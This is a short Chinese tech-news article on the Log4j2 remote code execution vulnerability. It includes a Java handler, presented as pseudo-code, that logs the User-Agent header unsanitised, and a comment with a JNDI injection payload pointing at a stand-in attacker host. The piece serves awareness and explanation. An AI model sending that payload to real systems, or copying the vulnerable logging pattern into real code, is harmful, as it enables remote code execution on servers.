炸锅了!Apache Log4j2 核弹级漏洞公开
共 2264字,需浏览 5分钟
·
2021-12-17 23:31
点击关注公众号,Java干货及时送达
昨晚,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害。而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企业也都连夜做了应急措施。
易受攻击代码示例:
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "Hello There, " + userAgent + "!
";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}